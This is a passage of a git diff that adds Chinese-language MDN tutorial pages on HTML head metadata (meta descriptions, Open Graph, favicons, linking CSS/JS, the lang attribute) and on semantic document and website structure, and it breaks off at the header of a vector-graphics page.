一些内容管理系统能够自动获取页面作者的信息,然后用于某些用途。</p> + +<p>指定包含关于页面内容的关键字的页面内容的描述是很有用的,因为它可能或让你的页面在搜索引擎的相关的搜索出现得更多 (这些行为术语上被称为 <a href="/zh-CN/docs/Glossary/SEO">Search Engine Optimization</a>, or {{glossary("SEO")}}.)</p> + +<h3 id="实践操作_在搜索引擎中description的使用">实践操作: 在搜索引擎中description的使用</h3> + +<p>description也被使用在搜索引擎显示的结果页中。下面通过一个例子来说明</p> + +<ol> + <li>访问 <a href="https://developer.mozilla.org/zh-CN/">MDN Web Docs</a>。</li> + <li>查看网页源代码(<em>通过鼠标右键点击网页在弹出的菜单中选择[查看网页源代码]</em>)</li> + <li>找到description的meta标签。就和如下展示的这样: + <pre class="brush: html notranslate"><meta name="description" content="The Mozilla Developer Network (MDN) provides +information about Open Web technologies including HTML, CSS, and APIs for both +Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS."></pre> + </li> + <li>现在,在你喜欢的搜索引擎里搜索“MDN Web Docs” (下图展示的是在谷歌搜索里的情况) 。你会看到description <code><meta></code> and <code><title></code> 元素如何在搜索结果里显示— 很值得这样做哦!</li> +</ol> + +<p><img alt='A Google search result for "MDN Web Docs"' src="https://mdn.mozillademos.org/files/16074/mdn-search-result.png" style="height: 982px; width: 1302px;"></p> + +<div class="note"> +<p><strong>Note</strong>:在谷歌搜索里,在主页面链接下面,你将看到一些相关子页面 — 这些是站点链接,可以在 <a href="http://www.google.com/webmasters/tools/">Google's webmaster tools</a> 配置— 一种可以使你的站点对搜索引擎更友好的方式。</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: 许多 <code><meta></code> 特性已经不再使用。 例如,keyword <code><meta></code> 元素(<code><meta name="keywords" content="fill, in, your, keywords, here"></code>)— 提供关键词给搜索引擎,根据不同的搜索词,查找到相关的网站 — 已经被搜索引擎忽略了, 因为作弊者填充了大量关键词到keyword, 错误地引导搜索结果。</p> +</div> + +<h3 id="其他类型的元数据">其他类型的元数据</h3> + +<p>当你在网站上查看源码时,你也会发现其他类型的元数据。你在网站上看到的许多功能都是专有创作,旨在向某些网站(如社交网站)提供可使用的特定信息。</p> + +<p>例如,Facebook 编写的元数据协议 <a href="http://ogp.me/">Open Graph Data</a> 为网站提供了更丰富的元数据。在 MDN 源代码中,你会发现:</p> + +<pre class="brush: html notranslate"><meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"> +<meta property="og:description" content="The Mozilla Developer Network (MDN) provides +information about Open Web technologies including HTML, CSS, and APIs for both Web sites +and HTML5 Apps. It also documents Mozilla products, like Firefox OS."> +<meta property="og:title" content="Mozilla Developer Network"></pre> + +<p>上面代码展现的一个效果就是,当你在 Facebook 上链接到 MDN 时,该链接将显示一个图像和描述:这为用户提供更丰富的体验。</p> + +<p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">Twitter 还拥有自己的类型的专有元数据协议,当网站的 URL 显示在 twitter.com 上时,它具有相似的效果。例如下面:</p> + +<pre class="brush: html notranslate"><meta name="twitter:title" content="Mozilla Developer Network"></pre> + +<h2 id="在你的站点增加自定义图标">在你的站点增加自定义图标</h2> + +<p>为了进一步丰富你的网站设计,你可以在元数据中添加对自定义图标的引用,这些将在特定的场合中显示。</p> + +<p>这个不起眼的图标已经存在很多很多年了,16 x 16 像素是这种图标的第一种类型。你可以看见这些图标出现在浏览器每一个打开的页面中的标签页中中以及在书签面板中的书签页面中。</p> + +<p>页面添加图标的方式有:</p> + +<ol> + <li>将其保存在与网站的索引页面相同的目录中,以.ico格式保存(大多数浏览器将支持更通用的格式,如.gif或.png,但使用ICO格式将确保它能在如Internet Explorer 6一样久远的浏览器显示)</li> + <li>将以下行添加到HTML <head>中以引用它: + <pre class="brush: html notranslate"><link rel="shortcut icon" href="favicon.ico" type="image/x-icon"></pre> + </li> +</ol> + +<p>现代浏览器在各种场合使用favicons,如打开的页面标签页和书签面板中的书签页面。下面是一个favicon 出现在书签面板中的例子:<img alt="The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it." src="https://mdn.mozillademos.org/files/12351/bookmark-favicon.png" style="display: block; margin: 0 auto;"></p> + +<p>如今还有很多其他的图标类型可以考虑。 例如,你可以在 MDN 主页的源代码中找到它:</p> + +<pre class="brush: html notranslate"><!-- third-generation iPad with high-resolution Retina display: --> +<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png"> +<!-- iPhone with high-resolution Retina display: --> +<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png"> +<!-- first- and second-generation iPad: --> +<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png"> +<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: --> +<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png"> +<!-- basic favicon --> +<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png"></pre> + +<p>这些注释解释了每个图标的用途 - 这些元素涵盖的东西提供一个高分辨率图标,这些高分辨率图标当网站保存到iPad的主屏幕时使用。</p> + +<p>不用担心现在实现所有这些类型的图标 - 这是一个相当先进的功能,你将不会被要求在这个课堂上学习这个知识点。 这里的主要目的是让你提前了解有这一样东西以防当你浏览其他网站的源代码时不理解源代码的含义。</p> + +<ul> +</ul> + +<div class="note"> +<p><strong>注</strong>:如果你的网站使用了内容安全策略(Content Security Policy, CSP)来增加安全性,这个策略会应用在图标上。如果你遇到了图标没有被加载的问题,你需要确认认 {{HTTPHeader("Content-Security-Policy")}} header的 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code> directive</a> 没有禁止访问图标。</p> +</div> + +<h2 id="在HTML中应用CSS和JavaScript">在HTML中应用CSS和JavaScript</h2> + +<p>如今,几乎你使用的所有网站都会使用 {{glossary("CSS")}} 让网页更加炫酷,使用{{glossary("JavaScript")}}让网页有交互功能,比如视频播放器,地图,游戏以及更多功能。这些应用在网页中很常见,它们分别使用 {{htmlelement("link")}}元素以及 {{htmlelement("script")}} 元素。</p> + +<ul> + <li> + <p> {{htmlelement("link")}} 元素经常位于文档的头部。这个link元素有2个属性,rel="stylesheet"表明这是文档的样式表,而 href包含了样式表文件的路径:</p> + + <pre class="brush: html notranslate"><link rel="stylesheet" href="my-css-file.css"></pre> + </li> + <li> + <p>{{htmlelement("script")}} 部分没必要非要放在文档头部;实际上,把它放在文档的尾部(在 <code></body>标签之前</code>)是一个更好的选择,这样可以确保在加载脚本之前浏览器已经解析了HTML内容(如果脚本加载某个不存在的元素,浏览器会报错)。</p> + + <pre class="brush: html notranslate"><script src="my-js-file.js"></script></pre> + + <p><strong>注意:</strong> <code><script></code>元素看起来像一个空元素,但它并不是,因此需要一个结束标记。您还可以选择将脚本放入<code><script></code>元素中,而不是指向外部脚本文件。</p> + </li> +</ul> + +<h3 id="实践操作_在网页中应用CSS和JavaScript">实践操作: 在网页中应用CSS和JavaScript</h3> + +<ol> + <li>开始操作之前,先拷贝我们的 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> 和 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a> 文件,并把它们保存到本地电脑的同一目录下,确保使用了正确的文件名和文件格式。</li> + <li>使用浏览器和文字编辑器同时打开你的HTML文件。</li> + <li>根据上面的信息,添加 {{htmlelement("link")}}和 {{htmlelement("script")}}部分到您的HTML文件中, 这样你的HTML就可以应用CSS和JavaScript了。</li> +</ol> + +<p>如果按照上述步骤正确地执行, 当你保存HTML文件并重新刷新浏览器的话,你会发现页面已经变样了:</p> + +<p><img alt="包含 JS/CSS的网页示例。CSS将页面背景设置为绿色,由JS向页面添加一个动态列表。" src="https://mdn.mozillademos.org/files/17392/JS_CSS_%E7%A4%BA%E4%BE%8B.png" style="display: block; height: 471px; margin: 0px auto; width: 650px;"></p> + +<ul> + <li>JavaScript在页面中添加了一个空列表。现在当你点击列表中的任何地方,浏览器会弹出一个对话框要求你为新列表项输入一些文本内容。当你点击OK按钮,刚刚那个新的列表项会添加到页面上,当你点击那些已有的列表项,会弹出一个对话框允许你修改列表项的文本。</li> + <li>CSS使页面背景变成了绿色,文本变得大了一点。它还将JavaScript添加到页面中的一些内容进行了样式化,(带有黑色边框的红色条是CSS添加到js生成的列表中的样式。)</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:如果你卡在这个练习当中,无法正常应用CSS和JavaScript,试着查看一下我们的 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a> 页面实例。</p> +</div> + +<h2 id="为文档设定主语言">为文档设定主语言</h2> + +<p>最后,值得一提的是可以(而且有必要)为站点设定语言, 这个可以通过添加<code>lang</code>属性到HTML开始标签中来实现 (参考 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>),如下所示:</p> + +<pre class="brush: html notranslate"><html lang="zh-CN"></pre> + +<p>这在很多方面都很有用。如果你的HTML文档的语言设置好了,那么你的HTML文档就会被搜索引擎更有效地索引 (例如,允许它在特定于语言的结果中正确显示),对于那些使用屏幕阅读器的视障人士也很有用(比如, 法语和英语中都有“six”这个单词,但是发音却完全不同)。</p> + +<p>你还可以将文档的分段设置为不同的语言。例如,我们可以把日语部分设置为日语,如下所示:</p> + +<pre class="brush: html notranslate"><p>日语实例: <span lang="jp">ご飯が熱い。</span>.</p></pre> + +<p>这些codes是根据 <a href="https://en.wikipedia.org/wiki/ISO_639-1">ISO 639-1</a> 标准定义的。你可以在<a href="https://www.w3.org/International/articles/language-tags/">Language tags in HTML and XML</a>找到更多相关的。</p> + +<h2 id="总结">总结</h2> + +<p>已经到了我们快速学习HTML head的尾声 — 你还能学到更多的相关的,但是现阶段详尽的讲的太多会无聊且迷惑, 我们只希望你现在在这学到最基本的概念! 下一篇我们将要学习 HTML 文本基础。</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/文件和网站结构/index.html b/files/zh-cn/learn/html/introduction_to_html/文件和网站结构/index.html new file mode 100644 index 0000000000..63c421487b --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/文件和网站结构/index.html @@ -0,0 +1,252 @@ +--- +title: 文档与网站架构 +slug: learn/HTML/Introduction_to_HTML/文件和网站结构 +tags: + - HTML + - 块 + - 教程 + - 新手 + - 样式 + - 站点 + - 脚本编写 + - 页面 +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">{{glossary("HTML")}} 不仅能够定义网页的单独部分(例如“段落”或“图片”),还可以使用块级元素(例如“标题栏”、“导航菜单”、“主内容列”)来定义网站中的复合区域。本文将探讨如何规划基本的网站结构,并根据规划的结构来编写 HTML。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>阅读 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a>、<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a> 、<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a>,掌握相关基础知识。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>会用语义标签来构建文档,会搭建简单的网站结构。</td> + </tr> + </tbody> +</table> + +<h2 id="文档的基本组成部分">文档的基本组成部分</h2> + +<p>网页的外观多种多样,但是除了全屏视频或游戏,或艺术作品页面,或只是结构不当的页面以外,都倾向于使用类似的标准组件:</p> + +<dl> + <dt>页眉</dt> + <dd>通常横跨于整个页面顶部有一个大标题 和/或 一个标志。 这是网站的主要一般信息,通常存在于所有网页。</dd> + <dt>导航栏</dt> + <dd>指向网站各个主要区段的超链接。通常用菜单按钮、链接或标签页表示。类似于标题栏,导航栏通常应在所有网页之间保持一致,否则会让用户感到疑惑,甚至无所适从。许多 web 设计人员认为导航栏是标题栏的一部分,而不是独立的组件,但这并非绝对;还有人认为,两者独立可以提供更好的 <a href="/zh-CN/docs/learn/Accessibility">无障碍访问特性</a>,因为屏幕阅读器可以更清晰地分辨二者。</dd> + <dt>主内容</dt> + <dd>中心的大部分区域是当前网页大多数的独有内容,例如视频、文章、地图、新闻等。这些内容是网站的一部分,且会因页面而异。</dd> + <dt>侧边栏</dt> + <dd>一些外围信息、链接、引用、广告等。通常与主内容相关(例如一个新闻页面上,侧边栏可能包含作者信息或相关文章链接),还可能存在其他的重复元素,如辅助导航系统。</dd> + <dt>页脚</dt> + <dd>横跨页面底部的狭长区域。和标题一样,页脚是放置公共信息(比如版权声明或联系方式)的,一般使用较小字体,且通常为次要内容。 还可以通过提供快速访问链接来进行 {{Glossary("SEO")}}。</dd> +</dl> + +<p>一个“典型的网站”可能会这样布局:</p> + +<p><img alt="一个简单站点首页截图" src="https://mdn.mozillademos.org/files/16497/snapshot.png" style="display: block; margin: 0px auto;"></p> + +<h2 id="用于构建内容的_HTML">用于构建内容的 HTML</h2> + +<p>以上简单示例不是很精美,但是足够说明网站的典型布局方式了。 一些站点拥有更多列,其中一些远比这复杂,但一切在你掌握之中。通过合适的CSS, 你可以使用相当多种的任意页面元素来环绕在不同的页面区域来做成你想要的样子,但如前所述,我们要敬畏语义,做到<strong>正确选用元素</strong>。</p> + +<p>这是因为视觉效果并不是一切。 我们可以修改最重要内容(例如导航菜单和相关链接)的颜色、字体大小来吸引用户的注意,但是这对视障人士是无效的,“粉红色”和“大字体”对他们并不奏效。</p> + +<div class="note"> +<p><strong>注:</strong><a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">全球色盲患者比例为 4%</a>,换句话说,每 12 名男性就有一位色盲,每 200 名女性就有一位色盲。全盲和视障人士约占世界人口(<a href="https://en.wikipedia.org/wiki/World_human_population#/media/File:World_population_history.svg">约 70 亿</a>)的 13%(2015年 <a href="https://en.wikipedia.org/wiki/Visual_impairment">全球约有 9.4 亿人口存在视力问题</a>)。</p> +</div> + +<p>HTML 代码中可根据功能来为区段添加标记。可使用元素来无歧义地表示上文所讲的内容区段,屏幕阅读器等辅助技术可以识别这些元素,并帮助执行“找到主导航 “或”找到主内容“等任务。参见前文所讲的 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#为什么我们需要结构化">页面中元素结构和语义不佳所带来的后果</a>。</p> + +<p>为了实现语义化标记,HTML 提供了明确这些区段的专用标签,例如:</p> + +<ul> + <li>{{htmlelement("header")}}:页眉。</li> + <li>{{htmlelement("nav")}}:导航栏。</li> + <li>{{htmlelement("main")}}:主内容。主内容中还可以有各种子内容区段,可用{{HTMLElement("article")}}、{{htmlelement("section")}} 和 {{htmlelement("div")}} 等元素表示。</li> + <li>{{htmlelement("aside")}}:侧边栏,经常嵌套在 {{htmlelement("main")}} 中。</li> + <li>{{htmlelement("footer")}}:页脚。</li> +</ul> + +<h3 id="主动学习:研究示例代码">主动学习:研究示例代码</h3> + +<p>上图的示例可用下面的代码表示(完整代码请参见 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/document-and-website-structure/index.html">GitHub</a>),请结合图片观察代码,并找出代码中可见的区段:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>二次元俱乐部</title> + <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet"> + <link href="https://fonts.googleapis.com/css?family=ZCOOL+KuaiLe" rel="stylesheet"> + <link href="style.css" rel="stylesheet"> + </head> + + <body> + <header> <!-- 本站所有网页的统一主标题 --> + <h1>聆听电子天籁之音</h1> + </header> + + <nav> <!-- 本站统一的导航栏 --> + <ul> + <li><a href="#">主页</a></li> + <!-- 共n个导航栏项目,省略…… --> + </ul> + + <form> <!-- 搜索栏是站点内导航的一个非线性的方式。 --> + <input type="search" name="q" placeholder="要搜索的内容"> + <input type="submit" value="搜索"> + </form> + </nav> + + <main> <!-- 网页主体内容 --> + <article> + <!-- 此处包含一个 article(一篇文章),内容略…… --> + </article> + + <aside> <!-- 侧边栏在主内容右侧 --> + <h2>相关链接</h2> + <ul> + <li><a href="#">这是一个超链接</a></li> + <!-- 侧边栏有n个超链接,略略略…… --> + </ul> + </aside> + </main> + + <footer> <!-- 本站所有网页的统一页脚 --> + <p>© 2050 某某保留所有权利</p> + </footer> + </body> +</html></pre> + +<p>请花一些时间来阅读,其中的注释应该能够帮助你理解这些代码。现在能够理解上面的代码就可以,因为编写一套正确的 HTML 结构是理解文档布局的前提,布局工作就交给 CSS 吧。在学习 CSS 一章时我们再展开介绍。</p> + +<h2 id="HTML_布局元素细节">HTML 布局元素细节</h2> + +<p>理解所有 HTML 区段元素具体含义是很有益处的,这一点将随着个人 web 开发经验的逐渐丰富日趋显现。更多细节请查阅 <a href="/zh-CN/docs/Web/HTML/Element">HTML 元素参考</a>。现在,你只需要理解以下主要元素的意义:</p> + +<ul> + <li>{{HTMLElement('main')}} 存放每个页面独有的内容。每个页面上只能用一次 <code><main></code>,且直接位于 {{HTMLElement('body')}} 中。最好不要把它嵌套进其它元素。</li> + <li>{{HTMLElement('article')}} 包围的内容即一篇文章,与页面其它部分无关(比如一篇博文)。</li> + <li>{{HTMLElement('section')}} 与 <code><article></code> 类似,但 <code><section></code> 更适用于组织页面使其按功能(比如迷你地图、一组文章标题和摘要)分块。一般的最佳用法是:以 <a href="https://developer.mozilla.org/en-US/Learn/HTML/Howto/Set_up_a_proper_title_hierarchy">标题</a> 作为开头;也可以把一篇 <code><article></code> 分成若干部分并分别置于不同的 <code><section></code> 中,也可以把一个区段 <code><section></code> 分成若干部分并分别置于不同的 <code><article></code> 中,取决于上下文。</li> + <li>{{HTMLElement('aside')}} 包含一些间接信息(术语条目、作者简介、相关链接,等等)。</li> + <li>{{HTMLElement('header')}} 是简介形式的内容。如果它是 {{HTMLElement('body')}} 的子元素,那么就是网站的全局页眉。如果它是 {{HTMLElement('article')}} 或{{HTMLElement('section')}} 的子元素,那么它是这些部分特有的页眉(此 <code><header></code> 非彼 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#增加一个标题">标题</a>)。</li> + <li>{{HTMLElement('nav')}} 包含页面主导航功能。其中不应包含二级链接等内容。</li> + <li>{{HTMLElement('footer')}} 包含了页面的页脚部分。</li> +</ul> + +<h3 id="无语义元素">无语义元素</h3> + +<p>有时你会发现,对于一些要组织的项目或要包装的内容,现有的语义元素均不能很好对应。有时候你可能只想将一组元素作为一个单独的实体来修饰来响应单一的用 {{glossary("CSS")}} 或 {{glossary("JavaScript")}}。为了应对这种情况,HTML提供了 {{HTMLElement("div")}} 和 {{HTMLElement("span")}} 元素。应配合使用 {{htmlattrxref('class')}} 属性提供一些标签,使这些元素能易于查询。</p> + +<p>{{HTMLElement("span")}} 是一个内联的(inline)无语义元素,最好只用于无法找到更好的语义元素来包含内容时,或者不想增加特定的含义时。例如:</p> + +<pre class="brush: html notranslate"><p>国王喝得酩酊大醉,在凌晨 1 点时才回到自己的房间,踉跄地走过门口。<span class="editor-note">[编辑批注:此刻舞台灯光应变暗]</span>.</p></pre> + +<p>这里,“编辑批注”仅仅是对舞台剧导演提供额外指引;没有具体语义。对于视力正常的用户,CSS 应将批注内容与主内容稍微隔开一些。</p> + +<p>{{HTMLElement("div")}} 是一个块级无语义元素,应仅用于找不到更好的块级元素时,或者不想增加特定的意义时。例如,一个电子商务网站页面上有一个一直显示的购物车组件。</p> + +<pre class="brush: html notranslate"><div class="shopping-cart"> + <h2>购物车</h2> + <ul> + <li> + <p><a href=""><strong>银耳环</strong></a>:$99.95.</p> + <img src="../products/3333-0985/" alt="Silver earrings"> + </li> + <li> + ... + </li> + </ul> + <p>售价:$237.89</p> +</div></pre> + +<p>这里不应使用 <code><aside></code>,因为它和主内容并没有必要的联系(你想在任何地方都能看到它)。甚至不能用 <code><section></code> ,因为它也不是页面上主内容的一部分。所以在这种情况下就应使用 <code><div></code>,为满足无障碍使用特征,还应为购物车的标题设置一个可读标签。</p> + +<div class="warning"> +<p><strong>警告:</strong><code><div></code> 非常便利但容易被滥用。由于它们没有语义值,会使 HTML 代码变得混乱。要小心使用,只有在没有更好的语义方案时才选择它,而且要尽可能少用, 否则文档的升级和维护工作会非常困难。</p> +</div> + +<h3 id="换行与水平分割线">换行与水平分割线</h3> + +<p>有时会用到 {{htmlelement("br")}} 和 {{htmlelement("hr")}} 两个元素,需要介绍一下。</p> + +<p><code><br></code> 可在段落中进行换行;<code><br></code> 是唯一能够生成多个短行结构(例如邮寄地址或诗歌)的元素。比如:</p> + +<pre class="brush: html notranslate"><p>从前有个人叫小高<br> +他说写 HTML 感觉最好<br> +但他写的代码结构语义一团糟<br> +他写的标签谁也懂不了。</p> +</pre> + +<p>没有 <code><br></code> 元素,这段会直接显示在长长的一行中(如前文所讲,<a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started#HTML中的空白">HTML会忽略大部分空格</a>);使用 <code><br></code> 元素,才使得诗看上去像诗:</p> + +<p>从前有个人叫小高<br> + 他说写 HTML 感觉最好<br> + 但他写的代码结构语义一团糟<br> + 他写的标签谁也懂不了。</p> + +<p><code><hr></code> 元素在文档中生成一条水平分割线,表示文本中主题的变化(例如话题或场景的改变)。一般就是一条水平的直线。例如:</p> + +<pre class="notranslate"><p>原来这唐僧是个慈悯的圣僧。他见行者哀告,却也回心转意道:“既如此说,且饶你这一次。再休无礼。如若仍前作恶,这咒语颠倒就念二十遍!”行者道:“三十遍也由你,只是我不打人了。”却才伏侍唐僧上马,又将摘来桃子奉上。唐僧在马上也吃了几个,权且充饥。</p> +<hr> +<p>却说那妖精,脱命升空。原来行者那一棒不曾打杀妖精,妖精出神去了。他在那云端里,咬牙切齿,暗恨行者道:“几年只闻得讲他手段,今日果然话不虚传。那唐僧已此不认得我,将要吃饭。若低头闻一闻儿,我就一把捞住,却不是我的人了。不期被他走来,弄破我这勾当,又几乎被他打了一棒。若饶了这个和尚,诚然是劳而无功也。我还下去戏他一戏。”</p></pre> + +<p>将渲染成:</p> + +<p>原来这唐僧是个慈悯的圣僧。他见行者哀告,却也回心转意道:“既如此说,且饶你这一次。再休无礼。如若仍前作恶,这咒语颠倒就念二十遍!”行者道:“三十遍也由你,只是我不打人了。”却才伏侍唐僧上马,又将摘来桃子奉上。唐僧在马上也吃了几个,权且充饥。</p> + +<hr> +<p>却说那妖精,脱命升空。原来行者那一棒不曾打杀妖精,妖精出神去了。他在那云端里,咬牙切齿,暗恨行者道:“几年只闻得讲他手段,今日果然话不虚传。那唐僧已此不认得我,将要吃饭。若低头闻一闻儿,我就一把捞住,却不是我的人了。不期被他走来,弄破我这勾当,又几乎被他打了一棒。若饶了这个和尚,诚然是劳而无功也。我还下去戏他一戏。”</p> + +<h2 id="规划一个简单的网站">规划一个简单的网站</h2> + +<p>在完成页面内容的规划后,一般应按部就班地规划整个网站的内容,要可能带给用户最好的体验,需要哪些页面、如何排列组合这些页面、如何互相链接等问题不可忽略。这些工作称为{{glossary("Information architecture", "信息架构")}}。在大型网站中,大多数规划工作都可以归结于此,而对于一个只有几个页面的简单网站,规划设计过程可以更简单,更有趣!</p> + +<ol> + <li>时刻记住,大多数(不是全部)页面会使用一些相同的元素,例如导航菜单以及页脚内容。若网站为商业站点,不妨在所有页面的页脚都加上联系方式。请记录这些对所有页面都通用的内容:<img alt="所有页面共有的内容,包括:站点标题、Logo、联系方式、版权声明、语言等信息。" src="https://mdn.mozillademos.org/files/16508/%E9%80%9A%E7%94%A8%E5%86%85%E5%AE%B9.gif" style="display: block; margin: 0px auto;"></li> + <li>接下来,可为页面结构绘制草图(这里与前文那个站点页面的截图类似)。记录每一块的作用:<img alt="简单的页面布局示意图,有页眉、页脚、主内容、侧边栏。" src="https://mdn.mozillademos.org/files/16509/%E9%A1%B5%E9%9D%A2%E5%B8%83%E5%B1%80.gif" style="display: block; margin: 0px auto;"></li> + <li>下面,对于期望添加进站点的所有其它(通用内容以外的)内容展开头脑风暴,直接罗列出来。<img alt="把假日旅行站点的所有功能罗列到一个列表中" src="https://mdn.mozillademos.org/files/16522/%E5%8A%9F%E8%83%BD%E5%88%97%E8%A1%A8.gif" style="display: block; margin: 0px auto;"></li> + <li>下一步,试着对这些内容进行分组,这样可以让你了解哪些内容可以放在同一个页面。这种做法和 {{glossary("Card sorting", "卡片分类法")}} 非常相似。<img alt="假日网站的页面应分5类:搜索、特别提供、具体国家信息、搜索结果、购物。" src="https://mdn.mozillademos.org/files/16521/%E5%8A%9F%E8%83%BD%E5%88%86%E7%B1%BB.gif" style="display: block; margin: 0px auto;"></li> + <li>接下来,试着绘制一个站点地图的草图,使用一个气泡代表网站的一个页面,并绘制连线来表示页面间的一般工作流。主页面一般置于中心,且链接到其他大多数页面;小型网站的大多数页面都可以从主页的导航栏中链接跳转。也可记录下内容的显示方式。<img alt="" src="https://mdn.mozillademos.org/files/16523/%E7%AB%99%E7%82%B9%E5%9C%B0%E5%9B%BE.gif" style="display: block; margin: 0px auto;"></li> +</ol> + +<h3 id="主动学习:创建站点地图">主动学习:创建站点地图</h3> + +<p>自己创造一个网站(什么网站呢?)并尝试执行上述步骤。</p> + +<div class="note"> +<p><strong>注:</strong>记得保存你的杰作,今后可能会用到哦。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>现在你应该对如何构建网页/站点有了更好的理解。下一节我们将学习如何调试 HTML。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines">使用 HTML 区段和大纲</a>:HTML5 语义元素和大纲算法进阶指南。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html new file mode 100644 index 0000000000..3b292c1b9c --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html @@ -0,0 +1,361 @@ +--- +title: 在网页中添加矢量图形 +slug: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web +tags: + - HTML + - SVG + - 图像 + - 指南 +translation_of: 